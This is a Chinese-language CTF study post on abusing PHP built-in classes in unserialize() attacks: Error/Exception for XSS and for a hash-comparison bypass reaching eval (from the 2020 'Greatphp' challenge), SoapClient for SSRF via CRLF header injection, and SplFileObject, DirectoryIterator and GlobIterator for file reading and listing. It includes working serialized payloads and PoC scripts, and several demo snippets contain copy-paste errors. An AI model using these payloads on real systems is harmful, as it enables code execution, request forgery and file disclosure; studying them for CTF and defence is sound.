前言

有时候会遇到一些反序列化,给出了反序列化函数,但是没有给出类,这种情况下就需要用到原生类。

之前做 CTF 题的时候就遇到了,一直拖到现在。。。。。。

先总结一部分遇到的,如果遇到新的再加。

Error / Exception

在特定的环境下利用内置的 __toString() 方法,可以自定义$message中的字符串。

Error 类

Error 是所有 PHP 内部错误类的基类,用于定义一个错误。

适用于 PHP 7 / 8 版本,且开启报错

摘要:

class Error implements Throwable {
	/* 属性 */
	protected string $message = "";					# 错误消息内容
	private string $string = "";					# 字符串形式的堆栈跟踪
	protected int $code;							# 错误代码
	protected string $file = "";					# 抛出错误的文件名
	protected int $line;							# 抛出错误的行数
	private array $trace = [];						# 数组形式的堆栈跟踪
	private ?Throwable $previous = null;			# 之前抛出的异常
    
	/* 方法 */
	public __construct(string $message = "", int $code = 0, ?Throwable $previous = 	null)	# 初始化 error 对象
	final public getMessage(): string				# 获取错误信息
	final public getPrevious(): ?Throwable			# 返回先前的 Throwable
	final public getCode(): int						# 获取错误代码
	final public getFile(): string					# 获取错误发生时的文件
	final public getLine(): int						# 获取错误发生时的行号
	final public getTrace(): array					# 获取调用栈(stack trace)
	final public getTraceAsString(): string			# 获取字符串形式的调用栈(stack trace)
	public __toString(): string						# error 的字符串表达
	private __clone(): void							# 克隆 error
}
  • 演示

Exception 类

Exception 是所有用户级异常的基类,用于定义一个异常。

适用于 PHP 5 / 7 / 8 版本,且开启异常

  • 摘要:
class Exception implements Throwable {
	/* 属性 */
	protected string $message = "";					# 异常消息内容
	private string $string = "";					# 字符串形式的堆栈跟踪
	protected int $code;							# 异常代码
	protected string $file = "";					# 抛出异常的文件名
	protected int $line;							# 抛出异常在该文件中的行号
	private array $trace = [];						# 数组形式的堆栈跟踪
	private ?Throwable $previous = null;			# 之前抛出的异常
    
	/* 方法 */
	public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)		# 异常构造函数
	final public getMessage(): string				# 获取异常消息内容
	final public getPrevious(): ?Throwable			# 返回前一个 Throwable
	final public getCode(): int						# 获取异常代码
	final public getFile(): string					# 创建异常时的程序文件名称
	final public getLine(): int						# 获取创建的异常所在文件中的行号
	final public getTrace(): array					# 获取异常追踪信息
	final public getTraceAsString(): string			# 获取字符串类型的异常追踪信息
	public __toString(): string						# 将异常对象转换为字符串
	private __clone(): void							# 异常克隆
}
  • 演示

XSS

存在输出函数,且输出内容可控时,存在 xss 漏洞

  • 测试代码:

    <?php
        $a = unserialize($_GET['nayst']);
    	echo $a;
    ?>
  • poc

    <?php
    // Error
    $error = new Error("<script>alert('Error Test')</script>");
    echo urlencode(serialize($error));
    // 输出:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A36%3A%22%3Cscript%3Ealert%28%27Error+Test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CEnvironment%5Cphpstudy_pro%5CWWW%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
    // Exception
    $exception = new Exception("<script>alert('Exception Test')</script>");
    echo urlencode(serialize($error));
    // 输出:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27Exception+Test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CEnvironment%5Cphpstudy_pro%5CWWW%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
  • 结果

    成功执行!

bypass

在特定条件下,这两个类可以实例化两个完全相同的对象,由此绕过比较。

  • 测试代码(来自**[2020 极客大挑战]Greatphp**)

    <?php
    error_reporting(0);
    class SYCLOVER
    {
        public $syc;
        public $lover;
    
        public function __wakeup()
        {
            if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
                eval($this->syc);    # 通过 if 后可以执行代码
            } else {
                die("Try Hard !!");
            }
        }
    }
    
    if (isset($_GET['great'])) {
        unserialize($_GET['great']);
    } else {
        highlight_file(__FILE__);
    }
    
  • poc

    定义两个Error,比较可以发现,除了行号,其他字段都相同。

    那么当两个Error在同一行时,两者相等。

    由此可以绕过哈希值检测。

    当传入第二个参数$code时,不会影响内容。

    通过控制此参数可以绕过弱比较。

    综上,构造poc

    <?php
    
    class SYCLOVER {
        public $syc;
        public $lover;
        public function __wakeup(){
            if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
               if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                   eval($this->syc);
               } else {
                   die("Try Hard !!");
               }
    
            }
        }
    }
    $str = "?><?php phpinfo();?>";		# 必须先闭合,绕过前面的代码,不然会报错
    
    $a=new Error($str,1);$b=new Error($str,2);
    
    $c = new SYCLOVER();
    $c->syc = $a;
    $c->lover = $b;
    
    echo(urlencode(serialize($c)));
    
    ?>

    成功执行!

    Exception 类与 Error 类同理。

SoapClient

SoapClient 内置类是一个专门用来访问 web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

类似 Python 中的 requests 库,可以与浏览器之间交互,并向其发送报文。

适用于 PHP 5 / 7 / 8,需要开启extension=php_soap.dll选项

摘要:

class SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

在新建一个SoapClient的类对象的时候,需要有两个参数:

  • 一个是字符串形式的 wsdl,描述服务的 WSDL 文件的 URI,用于自动配置客户端,将该值设为 null 则表示非 wsdl 模式。(wsdl,就是一个xml格式的文档,用于描述Web Server的定义)
  • 另一个是数组形式的options,为 SOAP 客户端指定附加选项的关联数组。如果是 wsdl 模式,这是可选的;否则,至少提供 location 并且 uri 。其中 location 是要将请求发送到的 SOAP 服务器的 URL ,而 uri 是 SOAP 服务的目标命名空间。

此类中存在__call函数,用于调用 SOAP 函数。

SSRF

由于 $options 中的字段可控,利用 CRLF 恶意注入一些参数。

  • 测试代码

    在靶机上监听端口,接数据

    $ nc -lvnp 1234

    看看原始数据是什么样的

    <?php
        $target = "http://192.168.254.128:1234";
    	$test = new SoapClient(null, array("location" => $target, "uri" => "test"));
    	$do = unserialize(serialize($test));
    	$do -> nayst();

    尝试修改 ua 并插入 Cookie

    <?php
        $target = "http://192.168.254.128:1234";
    	$user_agent = "nayst\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4";
    	$test = new SoapClient(null, array("location" => $target, "user_agent" => $user_agent, "uri" => "test"));
    	$do = unserialize(serialize($test));
    	$do -> nayst();

    可以看到成功修改 ua 并插入 Cookie!

Reflection

PHP Reflection是用于获取类、扩展、方法、函数、对象、参数、属性的详细信息。

ReflectionClass 类

ReflectionClass 类用于获取类相关信息,如获取属性、方法、文档注释等。

适用于 PHP 5 / 7 / 8

  • 摘要(部分):
class ReflectionClass implements Reflector {
    
	/* 常量 */
	const integer IS_IMPLICIT_ABSTRACT = 16;
	const integer IS_EXPLICIT_ABSTRACT = 32;
	const integer IS_FINAL = 64;
    
    /* 属性 */
    public $name;											# 类的名称
    
    /* 方法 */
    public __construct(mixed $argument)						# 初始化一个类
    public __toString(): string								# 返回 ReflectionClass 对象字符串的表示形式
    public getConstant(string $name): mixed					# 获取已定义的常量
    public getConstructor(): ReflectionMethod				# 获取类的构造函数
    public getDocComment(): string							# 获取文档注释
    public getEndLine(): int								# 获取最后一行的行数
    public getExtensionName(): string						# 获取定义的类所在的扩展的名称
    public getFileName(): string							# 获取定义类的文件名
    public getInterfaceNames(): array						# 获取接口(interface)名称
    public getInterfaces(): array							# 获取接口
    public getMethods(int $filter = ?): array				# 获取方法的数组
    public getModifiers(): int								# 获取类的修饰符
    public getName(): string								# 获取类名
    public getNamespaceName(): string						# 获取命名空间的名称
    public getParentClass(): ReflectionClass				# 获取父类
    public getShortName(): string							# 获取短名
    public getStartLine(): int								# 获取起始行号
    public getStaticProperties(): array						# 获取静态(static)属性
}
  • 演示
<?php
class people{
    public $name;
    public $age;

    public function walk(){
        echo "go";
    }
}

$test = new ReflectionClass("people");
echo $test;

输出 people 类的相关信息

ReflectionMethod & ReflectionFunction 类

ReflectionMethod 类与 ReflectionFunction 类都报告了一个方法的有关信息。区别在于,前者基于类中的函数,后者基于一般函数。

两类大致相同,下面主要介绍前者。

适用于 PHP 5 / 7 / 8

此类继承于 ReflectionFunctionAbstract 类。

  • 摘要(部分):
class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
    
    /* 属性 */
    public $name;									
    public $class;
    
    /* 方法 */
    public __construct(mixed $class, string $name)				# 构造函数
    public getClosure(object $object): Closure					# 返回一个动态建立的方法调用接口
    public getDeclaringClass(): ReflectionClass					# 获取被反射的方法所在类的反射实例
    public getModifiers(): int									# 获取方法的修饰符
    public getPrototype(): ReflectionMethod						# 返回方法原型 (如果存在)
    public invoke(object $object, mixed $parameter = ?, mixed $... = ?): mixed		# 执行此函数
    public isAbstract(): bool									# 判断方法是否是抽象方法
    public isConstructor(): bool								# 判断方法是否是构造方法
    public isDestructor(): bool									# 判断方法是否是析构方法
    public isFinal(): bool										# 判断方法是否定义 final
    public isPrivate(): bool									# 判断方法是否是私有方法
    public isProtected(): bool									# 判断方法是否是保护方法 (protected)
    public isPublic(): bool										# 判断方法是否是公开方法
    public isStatic(): bool										# 判断方法是否是静态方法
    public __toString(): string									# 返回反射方法对象的字符串表达
}
  • 演示
<?php
class people{
    public $name;
    public $age;

    public function walk(){
        echo "go";
    }
}

$test = new ReflectionMethod("people", "walk");
echo $test;

输出 people 类中 walk() 函数的相关信息

利用 ReflectionFunction 可以执行系统函数。

ReflectionExtension 类

ReflectionExtension 类报告了一个扩展(extension)的有关信息。

适用于 PHP 5 / 7 / 8

  • 摘要:
class ReflectionExtension implements Reflector {
    
    /* 属性 */
    public $name;								# 扩展的名称
    
    /* 方法 */
    public __construct(string $name)			# 构造函数
    public getClasses(): array					# 获取类
    public getClassNames(): array				# 获取类名
    public getConstants(): array				# 获取常量
    public getDependencies(): array				# 获取依赖
    public getFunctions(): array				# 获取扩展中的函数
    public getINIEntries(): array				# 获取ini配置
    public getName(): string					# 获取扩展名
    public getVersion(): string					# 获取扩展版本
    public info(): void							# 获取扩展信息
    public __toString(): string					# 返回对象的字符串表达
}
  • 演示
<?php
$test = new ReflectionExtension("ReflectionExtension");
echo $test;

SimpleXMLElement

SimpleXMLElement 类用于解析 XML 文档中的元素。

适用于 PHP 5 / 7 / 8

  • 摘要(部分):
class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
    
    /* Methods */
    public __construct(
        string $data,
        int $options = 0,
        bool $dataIsURL = false,
        string $namespaceOrPrefix = "",
        bool $isPrefix = false
    )														# 创建一个新的 SimpleXMLElement 对象
        
    public addAttribute(
        string $qualifiedName, 
        string $value, 
        ?string $namespace = null
    ): void													# 将属性添加到 SimpleXML 元素
    public addChild(
        string $qualifiedName, 
        ?string $value = null, 
        ?string $namespace = null
    ): ?SimpleXMLElement									# 将子元素添加到 XML 节点
    public asXML(?string $filename = null): string|bool		# 返回基于 SimpleXML 元素的格式良好的 XML 字符串
    public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement		# 标识元素的属性
    public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement		# 查找给定节点的子节点
    public count(): int										# 计算元素的子元素
    public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false		# 返回文档中声明的命名空间
    public getName(): string								# 获取 XML 元素的名称
    public getNamespaces(bool $recursive = false): array	# 返回文档中使用的命名空间
    public registerXPathNamespace(string $prefix, string $namespace): bool		# 为下一个 XPath 查询创建一个前缀/ns 上下文
    public __toString(): string								# 返回对象的字符串表达
    public xpath(string $expression): array|null|false		# 对 XML 数据运行 XPath 查询
}

创建此对象的参数:

  • $data:格式正确的 XML 字符串或 XML 文档的路径或 URL(如果 dataIsURL是 true )。

  • $options:可选地用于指定额外的 Libxml 参数,这些参数会影响 XML 文档的读取。

  • $dataIsUrl:默认情况下,dataIsURL 为 false。使用 true 指定数据是 XML 文档的路径或 URL,而不是字符串数据。

  • $namespaceOrPrefix:命名空间前缀或 URI。

  • $isPrefix:默认为 false。如果 namespaceOrPrefix 是前缀,则为 true;如果它是 URI,则为 false。

通过设置第三个参数$dataIsUrl可以实现远程 xml 文件的载入。

  • 演示

实例先放着,调了一下午也没调明白,等以后有机会了在搞清楚。

File / Directory

PHP 中一些内置类可以操作文件,获取路径或获取文件内容等。

SplFileObject 类

SplFileObject 类为单个文件的信息提供了一个面向对象的接口。

适用于 PHP >= 5.1.0 / 7 / 8

此类继承于 SplFileInfo

  • 摘要(部分):
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
    
    /* Constants */
    const int DROP_NEW_LINE = 1;
    const int READ_AHEAD = 2;
    const int SKIP_EMPTY = 4;
    const int READ_CSV = 8;
    
    /* Methods */
    public __construct(
        string $filename,
        string $mode = "r",
        bool $useIncludePath = false,
        ?resource $context = null
    )
    public current(): string|array|false							# 检索文件的当前行
    public eof(): bool												# 到达文件末尾
    public fflush(): bool											# 将输出刷新到文件
    public fgetc(): string|false									# 从文件中获取字符
    public fgetcsv(
        string $separator = ",", 
        string $enclosure = "\"", 
        string $escape = "\\"
    ): array|false													# 从文件中获取行并解析为 CSV 字段
    public fgets(): string											# 从文件中获取行
    public fgetss(string $allowable_tags = ?): string				# 从文件中获取行并去除 HTML 标记
    public flock(int $operation, int &$wouldBlock = null): bool		# 便携式文件锁定
    public fpassthru(): int											# 输出文件指针上的所有剩余数据
    public fputcsv(
        array $fields,
        string $separator = ",",
        string $enclosure = "\"",
        string $escape = "\\",
        string $eol = "\n"
    ): int|false													# 将字段数组写入 CSV 行
    public fread(int $length): string|false							# 从文件中读取
    public fscanf(string $format, mixed &...$vars): array|int|null	# 根据格式解析来自文件的输入
    public fseek(int $offset, int $whence = SEEK_SET): int			# 寻找一个位置
    public fstat(): array											# 获取有关文件的信息
    public ftell(): int|false										# 返回当前文件位置
    public ftruncate(int $size): bool								# 将文件截断为给定长度
    public fwrite(string $data, int $length = 0): int|false			# 写入文件
    public getCsvControl(): array									# 获取 CSV 的分隔符、外壳和转义字符
    public getFlags(): int											# 获取 SplFileObject 的标志
    public getMaxLineLen(): int										# 获取最大行长
    public key(): int												# 获取行号
    public next(): void												# 读取下一行
    public rewind(): void											# 将文件倒回第一行
    public seek(int $line): void									# 寻找指定行
    public setCsvControl(
        string $separator = ",", 
        string $enclosure = "\"", 
        string $escape = "\\"
    ): void															# 设置 CSV 的分隔符、外壳和转义字符
    public setFlags(int $flags): void								# 设置 SplFileObject 的标志
    public setMaxLineLen(int $maxLength): void						# 设置最大行长
}
  • 演示
<?php
$file = new SplFileObject("flag.php");
foreach($dir as $file){
    echo($file."\n");
}

DirectoryIterator 类

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。该类的构造方法将会创建一个指定目录的迭代器

适用于 PHP 5 / 7 / 8

此类继承于 SplFileInfo 类。

  • 摘要(部分):
class DirectoryIterator extends SplFileInfo implements SeekableIterator {
    
    /* Methods */
    public __construct(string $directory)				# 从路径构造一个新的目录迭代器
    public current(): mixed								# 返回当前的项
    public getATime(): int								# 获取当前项的最后访问时间
    public getBasename(string $suffix = ""): string		# 获取当前项目的基本名称
    public getCTime(): int								# 获取当前项的 inode 更改时间
    public getExtension(): string						# 获取文件扩展名
    public getFilename(): string						# 返回当前项的文件名
    public getGroup(): int								# 获取当前项目的组
    public getInode(): int								# 获取当前项的 inode
    public getMTime(): int								# 获取当前项的最后修改时间
    public getOwner(): int								# 获取当前项的所有者
    public getPath(): string							# 获取当前迭代器项的路径,不带文件名
    public getPathname(): string						# 返回当前项的路径和文件名
    public getPerms(): int								# 获取当前项的权限
    public getSize(): int								# 获取当前项的大小
    public getType(): string							# 确定当前项的类型
    public isDir(): bool								# 确定当前项是否为目录
    public isDot(): bool								# 确定当前项目是否为 '.' 或者 '..'
    public isExecutable(): bool							# 确定当前项是否可执行
    public isFile(): bool								# 确定当前项是否为常规文件
    public isLink(): bool								# 确定当前项是否为符号链接
    public isReadable(): bool							# 确定当前项目是否可以读取
    public isWritable(): bool							# 确定当前项目是否可以写入
    public key(): mixed									# 返回当前项的键
    public next(): void									# 前进到下一个项
    public rewind(): void								# 将 DirectoryIterator 倒回到起点
    public seek(int $offset): void						# 寻找项目
    public __toString(): string							# 获取文件名作为字符串
    public valid(): bool								# 检查当前位置是否为有效文件
}
  • 演示
<?php
$file = new DirectoryIterator("flag.php");
foreach($dir as $file){
    echo($file."\n");
}

经过遍历可以得到整个根目录下的文件,我这里是D盘,所以输出了我D盘下的所有文件及文件夹。

结合glob://协议可以搜索文件:

FilesystemIterator 类

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器

适用于 PHP >= 5.3.0 / 7 / 8

此类继承于 DirectoryIterator 类。

  • 摘要:
class FilesystemIterator extends DirectoryIterator {
    
    /* Constants */
    const int CURRENT_AS_PATHNAME = 32;
    const int CURRENT_AS_FILEINFO = 0;
    const int CURRENT_AS_SELF = 16;
    const int CURRENT_MODE_MASK = 240;
    const int KEY_AS_PATHNAME = 0;
    const int KEY_AS_FILENAME = 256;
    const int FOLLOW_SYMLINKS = 512;
    const int KEY_MODE_MASK = 3840;
    const int NEW_CURRENT_AND_KEY = 256;
    const int SKIP_DOTS = 4096;
    const int UNIX_PATHS = 8192;
    
    /* Methods */
    public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)		# 构造一个新的文件系统迭代器
    public current(): string|SplFileInfo|FilesystemIterator		# 当前文件
    public getFlags(): int										# 获取处理标志
    public key(): string										# 检索当前文件的密钥
    public next(): void											# 移动到下一个文件
    public rewind(): void										# 倒回到开头
    public setFlags(int $flags): void							# 设置处理标志
}
  • 演示

除了方法不同,用法什么的跟 DirectoryIterator 类相同,这里就不赘述。

GlobIterator 类

GlobIterator 类用于遍历一个文件系统行为类似于 glob()

适用于 PHP >= 5.3.0 / 7 / 8

此类继承于 FilesystemIterator 类。

  • 摘要:
class GlobIterator extends FilesystemIterator implements Countable {
   
    /* 方法 */
    public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
    public count(): int
    
}
  • 演示

用法与 glob() 函数相同。

<?php
$dir = glob("/*");
foreach($dir as $f){
    echo($f."\n");
}

可以根据部分文件名匹配文件或文件夹。